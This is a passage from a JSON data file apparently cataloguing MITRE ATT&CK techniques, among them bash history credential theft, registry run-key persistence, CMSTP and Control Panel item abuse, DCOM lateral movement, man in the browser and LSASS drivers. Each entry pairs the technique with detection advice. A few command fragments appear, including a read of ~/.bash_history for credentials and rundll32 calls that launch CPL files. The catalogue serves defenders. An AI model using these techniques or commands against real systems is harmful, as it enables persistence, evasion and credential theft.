        "mitre_platforms": [
          "Linux",
          "Windows",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1219",
          "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf",
          "https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf",
          "https://blog.crysys.hu/2013/03/teamspy/"
        ]
      },
      "uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
      "value": "Remote Access Tools - T1219"
    },
    {
      "description": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)\n\nDetection: Monitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like <code>cat ~/.bash_history</code>.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nPermissions Required: User",
      "meta": {
        "external_id": "T1139",
        "kill_chain": [
          "mitre-attack:enterprise-attack:credential-access"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1139",
          "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way"
        ]
      },
      "uuid": "44dca04b-808d-46ca-b25f-d85236d4b9f8",
      "value": "Bash History - T1139"
    },
    {
      "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network.\n\n===Windows===\n\nAn example command that would obtain details on processes is \"tasklist\" using the Tasklist utility.\n\n===Mac and Linux===\n\nIn Mac and Linux, this is accomplished with the <code>ps</code> command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Administrator, SYSTEM may provide better process ownership details",
      "meta": {
        "external_id": "T1057",
        "kill_chain": [
          "mitre-attack:enterprise-attack:discovery"
        ],
        "mitre_data_sources": [
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1057"
        ]
      },
      "uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
      "value": "Process Discovery - T1057"
    },
    {
      "description": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.\n\nDetection: System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)\n\nPlatforms: Windows\n\nData Sources: API monitoring, BIOS, EFI\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Ryan Becwar, McAfee",
      "meta": {
        "external_id": "T1019",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "API monitoring",
          "BIOS",
          "EFI"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1019",
          "https://en.wikipedia.org/wiki/BIOS",
          "https://en.wikipedia.org/wiki/Unified%20Extensible%20Firmware%20Interface",
          "http://www.uefi.org/about",
          "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research",
          "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about",
          "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/",
          "https://github.com/chipsec/chipsec",
          "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html"
        ]
      },
      "uuid": "6856ddd6-2df3-4379-8b87-284603c189c3",
      "value": "System Firmware - T1019"
    },
    {
      "description": "Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) The program will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.\n\nDetection: Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring\n\nPermissions Required: User, Administrator",
      "meta": {
        "external_id": "T1060",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "Windows Registry",
          "File monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1060",
          "http://msdn.microsoft.com/en-us/library/aa376977",
          "https://technet.microsoft.com/en-us/sysinternals/bb963902"
        ]
      },
      "uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc",
      "value": "Registry Run Keys / Start Folder - T1060"
    },
    {
      "description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation.\n\nDetection: Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool PsExec.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nRemote Support: Yes",
      "meta": {
        "external_id": "T1035",
        "kill_chain": [
          "mitre-attack:enterprise-attack:execution"
        ],
        "mitre_data_sources": [
          "Windows Registry",
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1035"
        ]
      },
      "uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392",
      "value": "Service Execution - T1035"
    },
    {
      "description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
      "meta": {
        "external_id": "T1065",
        "kill_chain": [
          "mitre-attack:enterprise-attack:command-and-control"
        ],
        "mitre_data_sources": [
          "Netflow/Enclave netflow",
          "Process use of network",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1065",
          "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
        ]
      },
      "uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0",
      "value": "Uncommonly Used Port - T1065"
    },
    {
      "description": "The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to Regsvr32 / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to Bypass User Account Control and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List)\n\nDetection: Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Anti-virus\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank",
      "meta": {
        "external_id": "T1191",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:execution"
        ],
        "mitre_data_sources": [
          "Process Monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1191",
          "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)",
          "https://twitter.com/ItsReallyNick/status/958789644165894146",
          "https://msitpros.com/?p=3960",
          "https://twitter.com/NickTyrer/status/958450014111633408",
          "https://github.com/api0cradle/UltimateAppLockerByPassList"
        ]
      },
      "uuid": "7d6f590f-544b-45b4-9a42-e0805f342af3",
      "value": "CMSTP - T1191"
    },
    {
      "description": "Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via Spearphishing Attachment campaigns  (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.\n\nDetection: Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: <code>control.exe file.cpl</code>) before Rundll32 is used to call the CPL's API functions (ex: <code>rundll32.exe shell32.dll,Control_RunDLL file.cpl</code>). CPL files can be executed directly via the CPL API function with just the latter Rundll32 command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n*Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace</code> and <code>HKEY_CLASSES_ROOT\\CLSID\\{GUID}</code>. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the <code>Cpls</code> and <code>Extended Properties</code> Registry keys of <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel</code>. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically (<code> WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);</code>) or from a command line (<code>control.exe /name {Canonical_Name}</code>). (Citation: Microsoft Implementing CPL)\n*Some Control Panel items are extensible via Shell extensions registered in <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers</code> where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Binary file metadata, DLL monitoring, Process command-line parameters, Process Monitoring, Windows Registry, Windows event logs\n\nDefense Bypassed: Application whitelisting, Process whitelisting\n\nPermissions Required: User, Administrator, SYSTEM\n\nRemote Support: No",
      "meta": {
        "external_id": "T1196",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:execution"
        ],
        "mitre_data_sources": [
          "API monitoring",
          "Binary file metadata",
          "DLL monitoring",
          "Process command-line parameters",
          "Process Monitoring",
          "Windows Registry",
          "Windows event logs"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1196",
          "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx",
          "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/",
          "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
        ]
      },
      "uuid": "8df54627-376c-487c-a09c-7d2b5620f56e",
      "value": "Control Panel Items - T1196"
    },
    {
      "description": "Windows Distributed Component Object Model (DCOM) is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology. COM is a component of the Windows application programming interface (API) that enables interaction between software objects. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM) ACL (Citation: Microsoft Process Wide Com Keys) (Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods. (Citation: Enigma MMC20 COM Jan 2017) (Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.\n\nDetection: Monitor for COM objects loading DLLs and other modules not typically associated with the application. (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for influx of Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Authentication logs, DLL monitoring, Packet capture, Process monitoring, Windows Registry, Windows event logs\n\nPermissions Required: Administrator, SYSTEM",
      "meta": {
        "external_id": "T1175",
        "kill_chain": [
          "mitre-attack:enterprise-attack:lateral-movement"
        ],
        "mitre_data_sources": [
          "API monitoring",
          "Authentication logs",
          "DLL monitoring",
          "Packet capture",
          "Process monitoring",
          "Windows Registry",
          "Windows event logs"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1175",
          "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx",
          "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx",
          "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx",
          "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/",
          "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/",
          "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/",
          "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/",
          "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom"
        ]
      },
      "uuid": "772bc7a8-a157-42cc-8728-d648e25c7fe7",
      "value": "Distributed Component Object Model - T1175"
    },
    {
      "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for Security Software Discovery. The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.\n\nDetection: Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution or evidence of Discovery.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Windows Error Reporting, Process Monitoring, File monitoring\n\nDefense Bypassed: Anti-virus, System access controls\n\nPermissions Required: User\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
      "meta": {
        "external_id": "T1211",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "Windows Error Reporting",
          "Process Monitoring",
          "File monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "Windows",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1211"
        ]
      },
      "uuid": "fe926152-f431-4baf-956c-4ad3cb0bf23b",
      "value": "Exploitation for Defense Evasion - T1211"
    },
    {
      "description": "Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, <code>/Library/StartupItems</code> isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.\n\nDetection: The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring\n\nEffective Permissions: root\n\nPermissions Required: Administrator",
      "meta": {
        "external_id": "T1165",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence",
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process Monitoring"
        ],
        "mitre_platforms": [
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1165",
          "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
          "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
        ]
      },
      "uuid": "2ba5aa71-9d15-4b22-b726-56af06d9ad2f",
      "value": "Startup Items - T1165"
    },
    {
      "description": "Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions)\n\nBrowser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)\n\nDetection: This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications\n\nPlatforms: Windows\n\nData Sources: Authentication logs, Packet capture, Process Monitoring, API monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Justin Warner, ICEBRG",
      "meta": {
        "external_id": "T1185",
        "kill_chain": [
          "mitre-attack:enterprise-attack:collection"
        ],
        "mitre_data_sources": [
          "Authentication logs",
          "Packet capture",
          "Process Monitoring",
          "API monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1185",
          "https://en.wikipedia.org/wiki/Man-in-the-browser",
          "https://www.cobaltstrike.com/help-browser-pivoting",
          "https://cobaltstrike.com/downloads/csmanual38.pdf",
          "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses"
        ]
      },
      "uuid": "544b0346-29ad-41e1-a808-501bb4193f47",
      "value": "Man in the Browser - T1185"
    },
    {
      "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. (Citation: Technet MS14-068) (Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.\n\nDetection: Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Authentication logs, Windows Error Reporting, Process Monitoring\n\nPermissions Required: User\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
      "meta": {
        "external_id": "T1212",
        "kill_chain": [
          "mitre-attack:enterprise-attack:credential-access"
        ],
        "mitre_data_sources": [
          "Authentication logs",
          "Windows Error Reporting",
          "Process Monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "Windows",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1212",
          "https://technet.microsoft.com/en-us/library/security/ms14-068.aspx",
          "https://adsecurity.org/?p=1515"
        ]
      },
      "uuid": "9c306d8d-cde7-4b4c-b6e8-d0bb16caca36",
      "value": "Exploitation for Credential Access - T1212"
    },
    {
      "description": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time (Citation: Malware Persistence on OS X).\n\nDetection: Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.\n\nPlatforms: macOS\n\nData Sources: Binary file metadata, Process Monitoring, Process command-line parameters, File monitoring\n\nPermissions Required: User",
      "meta": {
        "external_id": "T1161",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "Binary file metadata",
          "Process Monitoring",
          "Process command-line parameters",
          "File monitoring"
        ],
        "mitre_platforms": [
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1161",
          "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
          "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf"
        ]
      },
      "uuid": "04ef4356-8926-45e2-9441-634b6f3dcecb",
      "value": "LC_LOAD_DYLIB Addition - T1161"
    },
    {
      "description": "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.  (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., DLL Side-Loading or DLL Search Order Hijacking), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.\n\nDetection: With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.\n\nUtilize the Sysinternals Process Monitor utility to monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\n\nPlatforms: Windows\n\nData Sources: API monitoring, DLL monitoring, File monitoring, Kernel drivers, Loaded DLLs, Process Monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nRemote Support: No\n\nContributors: Vincent Le Toux",
      "meta": {
        "external_id": "T1177",
        "kill_chain": [
          "mitre-attack:enterprise-attack:execution",
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "API monitoring",
          "DLL monitoring",
          "File monitoring",
          "Kernel drivers",
          "Loaded DLLs",
          "Process Monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1177",
          "https://technet.microsoft.com/library/cc961760.aspx",
          "https://technet.microsoft.com/library/dn408187.aspx",
          "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx",
          "https://technet.microsoft.com/en-us/sysinternals/bb963902"
        ]
      },
      "uuid": "6e6845c2-347a-4a6f-a2d1-b74a18ebd352",
      "value": "LSASS Driver - T1177"
    },
    {
      "description": "Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Data Compressed or Data Encrypted.\n\nInteractive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.\n\nDetection: Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters",
      "meta": {
        "external_id": "T1074",
        "kill_chain": [
          "mitre-attack:enterprise-attack:collection"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1074"
        ]
      },
      "uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e",
      "value": "Data Staged - T1074"
    },
    {
